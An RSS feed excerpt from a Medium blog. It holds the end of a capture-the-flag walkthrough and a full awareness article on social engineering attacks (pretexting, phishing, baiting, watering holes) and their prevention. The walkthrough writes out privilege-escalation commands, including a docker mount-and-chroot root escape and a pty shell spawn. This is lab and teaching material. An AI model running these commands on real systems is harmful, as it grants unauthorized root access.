ariana@192.168.1.47</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*cBlCiwWFgA-For_H7tPrYQ.png" /></figure><p>now i’m in as ariana, so i found first flag and another txt file named ariana-personal.diary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*XRbh4iLd6Y8AdxNwaR9BKg.png" /></figure><p>As we can see above, the message does not mean anything substantial. We tried to check the operating system and kernel version; this is because we get older versions most of the time, which helps to get the root. However, it doesn’t work in our case on this target machine. So, we started checking commands that can be run as a root user, which can be seen in the screenshot given below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*l5gMsbzSA_AHGiOB_T0rWQ.png" /></figure><p>The output of the <strong>sudo -l</strong> command shows that Ariana user can run the messenger.sh file as a Selena user. So we ran it with command:<br><strong>sudo -u selena /home/messanger.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*6J4WCHtdnOHoZDR5Y9buqA.png" /></figure><blockquote>Now we have get the second user, so i tried to priv esc with <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation">https://book.hacktricks.xyz/linux-hardening/privilege-escalation</a></blockquote><p>i use this script : <strong>python3 -c “import pty; pty.spawn(‘/bin/bash’)”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*VDLJjo7f42QfRf6cVnSY1g.png" /></figure><p>And if found second flag and another shitty message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*l_VfGoDhasf452eJqZ0ZNA.png" /></figure><p>During the enumeration, we identified that Docker is being used on the target machine. We observe this in the <strong>id </strong>command output.</p><p>and during search i found a script that used to get a root shell:<br><strong>docker run -v /:/mnt — rm -it alpine chroot /mnt sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*2CIG2THX6qe7gJMTuGAtFg.png" /></figure><p>and it’s work and I’m now root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*3RFMqiKuRdK7RuUNhEFWdw.png" /></figure><p>Finally, we have the root access of the target machine. It’s time to read the root flag file and finish the CTF challenge. It can be seen in the following screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*982in97k0nTUAkP1lYbNxw.png" /></figure><p>I hope you enjoy and satisfied with this CTF, and i’ll back soon with pwned 2 😃</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48ed15242f43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Easiest Way To Hack Humans: 
 Social Engineering, methods of Attacking and Prevention]]></title>
            <link>https://etchoo1.medium.com/the-easiest-way-to-hack-humans-social-engineering-methods-of-attacking-and-prevention-9277b672b003?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9277b672b003</guid>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[kevin-mitnick]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Sun, 17 Apr 2022 00:25:29 GMT</pubDate>
            <atom:updated>2022-11-08T18:48:32.426Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>The Easiest Way To Hack Humans: <br> Social Engineering, methods of Attacking and Prevention</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*73IKbFk24qGonb4pWMEgiQ.png" /><figcaption>Social Engineering</figcaption></figure><p>Today, social engineering techniques are the most common way of committing cybercrimes through the intrusion and infection of computer systems. Cybersecurity experts use the term “social engineering” to highlight the “human factor” in digitized systems, as social engineering attacks aim at manipulating people to reveal sensitive information. In this research, in this research we will explain the concept of social engineering and the most used methods in these attacks based on the attacks of the most famous hackers and experts of information security and cyber security.</p><p>And the professional methods used by the red teams in the penetration testing operations of institutions or companies by the greatest hackers , and ways to protect against these attacks for the natural or responsible internet user in one of the companies that use technology in the work.</p><ol><li><strong>Social Engineering and the art of hacking minds.</strong></li></ol><blockquote>“If you know the enemy and know yourself you need not fear the results of a hundred battles.” <br>— Sun Tzu</blockquote><p>Human is the weakest link in the chain , this sentence has been repeated recently a lot because of the spread of a lot of cyber attacks on many institutions, companies and people who do not have any link or a common factor, but the hacking was through a way of social engineering.</p><p>Hence the spread of the term social engineering and interested a lot of countries to spread awareness about these attacks and ways exploited by the hacker to reach his goal by human, hence the term social engineering which is is the psychological manipulation of people into performing actions or divulging confidential information. This differs from social engineering within the social sciences, which does not concern the divulging of confidential information. A type of confidence trick for the purpose of information gathering, fraud, or system access, it differs from a traditional “con” in that it is often one of many steps in a more complex fraud scheme.</p><p>1.1 The Hack.</p><p>A hack is the exploitation of vulnerabilities in a system that cause harm in terms of security and affect the hack on the three main factors of information security : availability, confidentiality, integrity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*ud25O1zytzZwyktEONxTSA.png" /><figcaption>Figure 1–1: The information security Triad</figcaption></figure><p>And usually the gaps in the security systems are gaps in the software and hardware of the system and here the information security engineers and penetration testers try to reach these vulnerabilities and fill them and protect the system in terms of software and hardware and this process is through mutual agreement between the company being tested and engineers and the terms of the contract is sometimes that the breach is not just a breach of the security system of the company but access to the gaps of the institution as a whole and this contract is called red team operations, one of the first ways in which hackers try to exploit them is the ignorance of some employees in the company of information security and the use of social engineering attacks on employees or security men or anyone who gives the hacker access to the authority that can not be in it.</p><p>1.2 Old School.</p><p>In the last decade, social engineering attacks were limited to a few methods that everyone used and one of the most famous was:</p><p>1.2.1 Pretexting:</p><p>Pretexting is a type of social engineering technique where the attacker creates a scenario where the victim feels compelled to comply under false pretenses. Typically, the attacker will impersonate someone in a powerful position to persuade the victim to follow their orders.</p><p>During this type of social engineering attack, a bad actor may impersonate police officers, higher-ups within the company, auditors, investigators or any other persona they believe will help them get the information they seek.</p><p>1.2.2 Tailgating Piggybacking:</p><p>Tailgating is a simplistic social engineering attack used to gain physical access to access to an unauthorized location. Tailgating is achieved by closely following an authorized user into the area without being noticed by the authorized user. An attacker may tailgate another individual by quickly sticking their foot or another object into the door right before the door is completely shut and locked.</p><p>1.2.3 Piggybacking:</p><p>Piggybacking is exceptionally similar to tailgating. The main difference between the two is that, in a piggybacking scenario, the authorized user is aware and allows the other individual to “piggyback” off their credentials. An authorized user may feel compelled by kindness to hold a secure door open for a woman holding what appears to be heavy boxes or for a person claiming to be a new employee who has forgotten his access badge.</p><p>1.2.4 Quid Pro Quo:</p><p>Quid pro quo (Latin for ‘something for something’) is a type of social engineering tactic in which the attacker attempts a trade of service for information. A quid pro quo scenario could involve an attacker calling the main lines of companies pretending to be from the IT department, attempting to reach someone who was having a technical issue.</p><p>Once the attacker finds a user who requires technical assistance, they would say something along the lines of, “I can fix that for you. I’ll just need your login credentials to continue.” This is a simple and unsophisticated way of obtaining a user’s credentials.</p><p>One of the most famous users of these scams was Prof. Kevin Mitnick (Figure 1.2), nicknamed The Ghost of the wire because of his powerful social engineering gimmick and his innovation of modern hacking techniques that are used to this day.</p><p>But at the moment it has become difficult to use the previous tricks in hacking for several reasons , including the progress of Technology, where there are electronic portals that reveal the personality of what passes through them and smart ID cards that no one can dissolve, the knowledge of security men with most of the employees of companies, which makes it difficult for the hacker to enter and exit without doubt.</p><p>But despite the progress of technology, social engineering methods have advanced and have been mixed with this technology so that it is difficult to detect and these methods, which we will present in detail in our conversation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*bNgjQTjIs59Yl9Ubl0befw.jpeg" /><figcaption>Figure 1–2 Prof. Kevin Mitnick</figcaption></figure><p><strong>2. Calm before the storm</strong></p><blockquote>“ We’re still in the information gathering stage.”<br>— Phil Lewis</blockquote><p>In the current era, the social engineering attack can be divided into two main stages:1. Preparation. 2. explosion</p><p>In these stages, according to Kevin Mitnick, “fresh lemons are selected that can be used in our cocktail”, in a clearer sense, the right people are selected to launch attacks on them and then used as a ladder until a power is reached that gives the hacker the authority to exploit vulnerabilities. The first stage is the preparation phase, which is called the calm before the storm.</p><p>At this stage , all the people working in the target institution are tracked and collected all their data , such as: phone numbers , social media accounts , interests , family history of each person , hobbies, sexual and emotional orientation, medical history and any information that can be used against the victim. This stage is called Information Gathering.</p><p>After the completion of the information collection phase, the victim is selected based on the situation, for example:</p><p>If it is the case that an information security company is hacked to prove that its security system has failed, then security men and cleaners will be the most likely to be good bait because most employees are expected to be tech-savvy, making the process difficult.</p><p>But if the case is a software company, it will be the developers of DevOps who have the eyes because they have the most access to important files in the system, making the process easier.</p><p>When a victim is selected, data is collected again, but in a more specific form . Attention is paid to the smallest details, which may be trivial from the point of view of some, but in the original are important.</p><p>Important information that is collected about the victim social media accounts, bank accounts , car type , car number, pet name if any, name of father and mother, name and date of birth of children and wife, favorite movie, favorite fictional character, favorite meal or even the name of the favorite teacher, this information can be useful in the conclusions we will talk about</p><p>After collecting information about the victim, social engineering methods are used to exploit the victim, such as Phishing, Smishing, Baiting and Tailgating.</p><p>And all of those attacks we will explains it.</p><p>One of the methods of modern social engineering is the fake hug, a method that is used by the hacker by claiming friendship with the victim in some way, which makes them friendly, which makes the victim can disclose important personal information to the hacker or leave an important trace such as a phone or laptop in the hands of the hacker, which facilitates the process of penetration.</p><p>This type of method is the lowest and the worst and is unethical, but it is used and must be mentioned.</p><p>3. <strong>The Storm</strong></p><blockquote>“Social Engineering bypasses all technologies, including firewalls”<br> — Kevin Mitnick</blockquote><p>After selecting the desired victim and collecting information about it, the most important stage begins, which is the stage of exploitation and here many attacks are carried out according to the scenario . Examples of attacks:</p><p><strong>3.1 Phishing</strong></p><p>As one of the most popular social engineering attack types, phishing scams are email and text message campaigns aimed at creating a sense of urgency, curiosity or fear in victims. It then prods them into revealing sensitive information, clicking on links to malicious websites, or opening attachments that contain malware.</p><p>An example is an email sent to users of an online service that alerts them of a policy violation requiring immediate action on their part, such as a required password change. It includes a link to an illegitimate website — nearly identical in appearance to its legitimate version — prompting the unsuspecting user to enter their current credentials and new password. Upon form submittal the information is sent to the attacker.</p><p>Given that identical, or near-identical, messages are sent to all users in phishing campaigns, detecting and blocking them are much easier for mail servers having access to threat sharing platforms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*AZ0am8DzUlj7Ux0GCzPa3g.jpeg" /><figcaption>Figure 3.1: Example of Phishing Email</figcaption></figure><p>The most commonly used attack of the Phishing is Spear phishing is a more targeted version of the phishing scam whereby an attacker chooses specific individuals or enterprises. They then tailor their messages based on characteristics, job positions, and contacts belonging to their victims to make their attack less conspicuous. Spear phishing requires much more effort on behalf of the perpetrator and may take weeks and months to pull off. They’re much harder to detect and have better success rates if done skillfully.</p><p>A spear phishing scenario might involve an attacker who, in impersonating an organization’s IT consultant, sends an email to one or more employees. It’s worded and signed exactly as the consultant normally does, thereby deceiving recipients into thinking it’s an authentic message. The message prompts recipients to change their password and provides them with a link that redirects them to a malicious page where the attacker now captures their credentials.</p><p><strong>3.2 Pretexting</strong></p><p>Here an attacker obtains information through a series of cleverly crafted lies. The scam is often initiated by a perpetrator pretending to need sensitive information from a victim so as to perform a critical task.</p><p>The attacker usually starts by establishing trust with their victim by impersonating co-workers, police, bank and tax officials, or other persons who have right-to-know authority. The pretexter asks questions that are ostensibly required to confirm the victim’s identity, through which they gather important personal data.</p><p>All sorts of pertinent information and records is gathered using this scam, such as social security numbers, personal addresses and phone numbers, phone records, staff vacation dates, bank records and even security information related to a physical plant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*OFLiexgqK9QDwuAqkyTx6A.png" /><figcaption>Figure 3–2: Example of Pretexting Attack</figcaption></figure><p><strong>3.3 Scareware</strong></p><p>Scareware involves victims being bombarded with false alarms and fictitious threats. Users are deceived to think their system is infected with malware, prompting them to install software that has no real benefit (other than for the perpetrator) or is malware itself. Scareware is also referred to as deception software, rogue scanner software and fraudware.</p><p>A common scareware example is the legitimate-looking popup banners appearing in your browser while surfing the web, displaying such text such as, “Your computer may be infected with harmful spyware programs.” It either offers to install the tool (often malware-infected) for you, or will direct you to a malicious site where your computer becomes infected.</p><p>Scareware is also distributed via spam email that doles out bogus warnings, or makes offers for users to buy worthless/harmful services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*HYG4dWMH86h4L5r-bGo8BA.png" /><figcaption>Figure 3–3: Example of Scareware attack</figcaption></figure><p><strong>3.4 Baiting</strong></p><p>Baiting puts something enticing or curious in front of the victim to lure them into the social engineering trap. A baiting scheme could offer a free music download or gift card in an attempt to trick the user into providing credentials.</p><p>A social engineer may hand out free USB drives to users at a conference. The user may believe they are just getting a free storage device, but the attacker could have loaded it with remote access malware which infects the computer when plugged in.</p><p><strong>3.5 Watering Hole</strong></p><p>A <strong>Watering Hole Attack</strong> is a social engineering technique where the attacker seeks to compromise a specific group of end users either by creating new sites that would attract them or by infecting existing websites that members of that group are known to visit. The goal is to swipe username and password combinations hoping the victim reuses them, or infect a victim’s computer and gain access to the network within the victim’s place of employment. The name is inspired by the predators in the wild who prowl near watering holes, waiting for the opportunity to attack a potential prey.</p><p>In a Watering Hole attack, the “predator” (Attacker) scheme on specific websites which are popular to its “prey” (target), looking for opportunities to infect them with malware making these targets vulnerable. In other words, rather than using a Spear phishing email campaign to lure victims, hackers infect vulnerable sites that share a common interest to their targets, and then redirects the victims to the attacker’s site or application which contains malicious content such as malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*pM-3gyTjBRDsou0p73Qamg.png" /><figcaption>Figure 3–4: Watering hole attack mechanism</figcaption></figure><p><strong>4. Preventing Methods</strong></p><p>Prevent social engineering attacks by taking the following steps:</p><p>1- Use different strong passwords and passphrases</p><p>2- Don’t share data with too many people; reward access thoughtfully</p><p>3- Educate your employees to avoid compromising company security policies</p><p>4- Treat all calls, emails, or text messages as suspicious unless you’re 100%</p><p>5- Have multiple defence layers to frustrate attackers’ efforts</p><p>6-Keep your systems secure with software patches and updates for vulnerabilities</p><p>7- Don’t open suspicious emails- hover over content URLs first</p><p>8- Don’t click links you don’t request</p><p>9- Be cautious of online-only friendships</p><p>10- Remember the signs of social engineering</p><p>11- Use two-factor authentication and multifactor authentication — an authenticator app or security key</p><p>12- Consider a password manager</p><p>13- Set high spam filters</p><p>14- Don’t allow strangers on your Wi-Fi network</p><p>15- Use a VPN</p><p>16- Monitor your account activity closely</p><p>17- Don’t leave devices unattended</p><p>4.1 Prevent Scam Emails Using Spam Filters</p><p>Email is a critical part of most business communications, but it’s also the number one source of cyber attacks and spam. According to Barracuda, the average organization is targeted by over 700 social engineering attacks each year.</p><p>Gateways such as SpamTitan and Barracuda assist administrators by providing protective filters which remove phishing emails and block harmful threats. With an email gateway, you don’t need to rely on expensive technology solutions or human effort for protection against malicious content.</p><p>4.2 Prevention Tips for Pretexting Victims</p><p>Pretexting is a common social engineering tactic. It involves creating a false excuse that sounds genuine; for example, an attacker calls a target firm and pretends to be from IT support.</p><p>Then, the attacker requests the employee’s name from another target, providing access credentials or other critical information. If they’re successful in getting this knowledge, it is used later in another attack.</p><p>When someone wants sensitive information from you, always ask for verification, chiefly if someone inquires multiple times about the same type of data.</p><p>4.3 Prevention of Social Engineering by cultivating Security Awareness principles inside the company</p><p>Because social engineering assaults target employees, it’s critical to educate them about the most recent threats in their field. You can help keep sensitive information safe through training, teaching people to recognize phishing emails and other suspicious behavior.</p><p>Be Safe :)</p><p>References</p><ul><li>How to hack like a ghost, book by Sparc Flow</li><li>Ghost In The Wires: My Adventures as the World’s Most Wanted Hacker, Book by Kevin Mitnick and William L. Simon</li><li>Hacking: The Art of Exploitation, 2nd Edition, Book by Jon Erickson</li><li>CASE STUDY ON SOCIAL ENGINEERING TECHNIQUES FOR PERSUASION Paper by Mosin Hasan1, Nilesh Prajapati2 and Safvan Vohara</li><li>Social Engineering: What It Is and How to Prevent It?, Article by Vlad Styran on <a href="https://bsg.tech/blog/social-engineering-what-actually-is-it-and-how-to-prevent-an-attack/">https://bsg.tech/blog/social-engineering-what-actually-is-it-and-how-to-prevent-an-attack/</a></li><li>Types of Social Engineering Attacks Article by Mitnick Security on <a href="https://www.mitnicksecurity.com/blog/6-types-of-social-engineering-attacks">https://www.mitnicksecurity.com/blog/6-types-of-social-engineering-attacks</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9277b672b003" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>